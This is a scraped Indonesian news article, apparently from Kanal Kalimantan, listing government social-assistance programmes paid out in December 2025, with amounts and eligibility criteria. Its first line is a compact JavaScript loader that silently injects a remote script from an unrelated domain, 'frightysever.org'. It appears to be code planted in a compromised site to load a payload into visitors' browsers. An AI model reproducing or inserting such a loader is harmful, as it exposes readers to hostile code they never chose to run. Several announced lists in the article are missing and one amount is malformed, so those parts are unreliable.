(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ilustrasi pencairan bansos 2025 | Unsplash/Mufi Majnun
Sebagai bentuk dukungan kepada masyarakat yang membutuhkan, pemerintah menyediakan bantuan sosial (Bansos) untuk mereka yang memenuhi kriteria. Pada bulan Desember 2025, pemerintah kembali menyalurkan berbagai jenis bansos tahap terakhir bagi masyarakat berpenghasilan rendah.
Penyaluran bansos menjadi salah satu bentuk pemerintah untuk mendukung kualitas hidup masyarakat berpenghasilan rendah. Lalu, bansos apa saja yang cair di termin Desember 2025 ini?
Di penghujung 2025 ini, ada beberapa jenis bantuan yang mulai cair secara bertahap. Di bawah ini adalah daftar bansos yang cair pada Desember 2025:
Diluncurkan pada Oktober 2025, BLT Kesra bertujuan untuk menjaga daya beli masyarakat, mendorong pertumbuhan ekonomi nasional, dan mengurangi kesenjangan sosial. Besaran BLT Kesra secara keseluruhan senilai Rp900.000 dan merupakan rapelan dari bulan Oktober 2025-Desember 2025.
Namun, tidak semua orang bisa mendapatkan bantuan ini. Ada beberapa kriteria penerima BLT Kesra, di antaranya:
Penyaluran BLT Kesra sudah dilakukan sejak bulan Oktober 2025 dan akan dilakukan hingga akhir Desember 2025 secara bertahap.
PKH merupakan bantuan sosial dari pemerintah yang diberikan kepada keluarga berpenghasilan rendah atau miskin. Tujuan Bansos PKH adalah untuk membantu meningkatkan taraf hidup keluarga miskin lewat dukungan pendidikan, kesehatan, sampai kesejahteraan sosial.
Beberapa syarat yang harus dipenuhi seseorang untuk mendapatkan PKH adalah, memiliki Nomor Induk Kependudukan (NIK) yang valid, terdaftar di DTKS, berasal dari keluarga miskin dan rentan, dan bukan penerima bansos lain.
Besaran bantuan ini bervariasi. Berikut rincian bantuan PKH melansir dari situs resmi Kemensos RI:
Sebagai catatan, dana PKH diberikan setiap tiga bulan sekali. Artinya, ada empat tahapan penyaluran PKH dalam satu tahun.
Baca juga: Pemkab Kapuas Sosialisasikan Pengajuan Hibah dan Bansos melalui SIPD
Sesuai dengan namanya, BPNT bertujuan untuk memastikan bahwa akses pangan dan gizi pada keluarga rentan tetap terpenuhi. Bantuan ini disalurkan dalam bentuk uang elektronik untuk ditukar dengan sembako.
Program ini sekarang dikenal dengan Program Sembako. Besaran bantuan yang diterima adalah Rp200.000 per bulan dan disalurkan empat kali setahun.
Mereka yang menerima BPNT merupakan masyarakat keluarga miskin atau rentan serta harus terdaftar dalam DTKS. Selain itu, prioritas penerima BPNT adalah lansia, penyandang disabilitas, ibu hamil, atau keluarga dengan anak usia sekolah.
Lebih lanjut, penerima juga harus memiliki Kartu Keluarga Sejahtera (KKS) yang dipakai untuk mengambil bantuan. Pada penyaluran tahap 4 tahun 2025, pencairan BPNT dilakukan mulai Oktober-Desember 2025 secara bertahap.
Sesuai dengan namanya, ATENSI YAPI atau Asistensi Rehabilitasi Sosial Anak Yatim Piatu adalah program untuk memberi dukungan dan perhatian pada anak yatim, piatu, atau yatim piatu. Bantuan ini bertujuan untuk menjamin kebutuhan dasar, pendidikan, serta perlindungan bagi anak yang sudah kehilangan orang tua.
Syarat utama penerima bantuan ini adalah anak yang berstatus yatim, piatu, atau yatim piatu yang terverifikasi dan masih berusia di bawah 18 tahun saat mendaftar. Penerima juga harus terdaftar dalam DTSEN serta memiliki dokumen resmi, seperti Kartu Identitas Anak (KIA), akta lahir, dan surat kematian orang tua. Sementara itu, nominal bantuan ini adalah Rp600.000 tiap tiga bulan.
Melansir dari Fahum UMSU, pada triwulan Oktober-Desember 2025, pencairan ATENSI YAPI sudah mulai dilakukan sejak akhir November 2025 hingga akhir Desember 2025 secara bertahap.
Bansos ini menyalurkan total 20 kg beras dan 4 liter minyak bagi Keluarga Penerima Manfaat (KPM). Tujuannya untuk stabilisasi harga dan mendukung 18,27 juta warga penerima yang menjadi target nasional.
Bantuan ini ditujukan bagi masyarakat berpenghasilan rendah. Di beberapa daerah seperti Yogyakarta, bantuan beras dan minyak goreng sudah mulai didistribusikan sejak awal Desember 2025.
PIP bertujuan untuk membantu peserta didik dari keluarga miskin atau rentan miskin. Melansir dari Kompas TV, nominalnya berbeda-beda tiap tingkatan dengan rincian berikut:
Kelas 1-5: Rp450.000/ tahun
Kelas 6: Rp225.000
Kelas 7-8: Rp750.000/ tahun
Kelas 9: Rp375.000
Kelas 10-11: Rp1.800.00/ tahun
Kelas 12: Rp900.000
Anak yang berhak menerima bantuan di atas harus merupakan anak dari keluarga kurang mampu atau berisiko putus sekolah. Hal ini bertujuan untuk memastikan mereka dapat mengakses pendidikan hingga lulus SMA/SMK sederajat.
Bantuan ini sudah mulai cair sejak Oktober 2025-Desember 2025 secara bertahap.
Baca juga: Mensos: Penerima PKH Terlibat Judol, Bansos Dihentikan
Ada beberapa cara untuk mengecek bansos dari Kemensos, yakni melalui situs resmi Kemensos RI maupun aplikasi Cek Bansos.
Berikut adalah cara cek bansos Kemensos melalui website:
Di bawah ini adalah cara mengecek bansos lewat aplikasi Cek Bansos:
KANALKALIMANTAN.COM, BANJARBARU - Program belanja menarik dengan tajuk Shopping Funtastic 2025 resmi ditutup manajemen Q… Read More
KANALKALIMANTAN.COM, BANJARBARU - Petugas gabungan dari Dinas Perhubungan dan Satuan Polisi Pamong Praja Kota Banjarbaru… Read More
Oleh: Cheryl Rinjani Eileen Manurung, Prodi Geografi, ULM Read More
KANALKALIMANTAN.COM, PARINGIN - Badan Amil Zakat Nasional (Baznas) Kabupaten Balangan menyalurkan berbagai program bantuan di… Read More
KANALKALIMANTAN.COM, PARINGIN – Kabupaten Balangan berhasil meraih predikat kabupaten terinovatif dengan Indeks Inovasi Daerah (IID)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Erna Lisa Halaby membuka kompetisi basket menutup tahun 2025… Read More
This website uses cookies.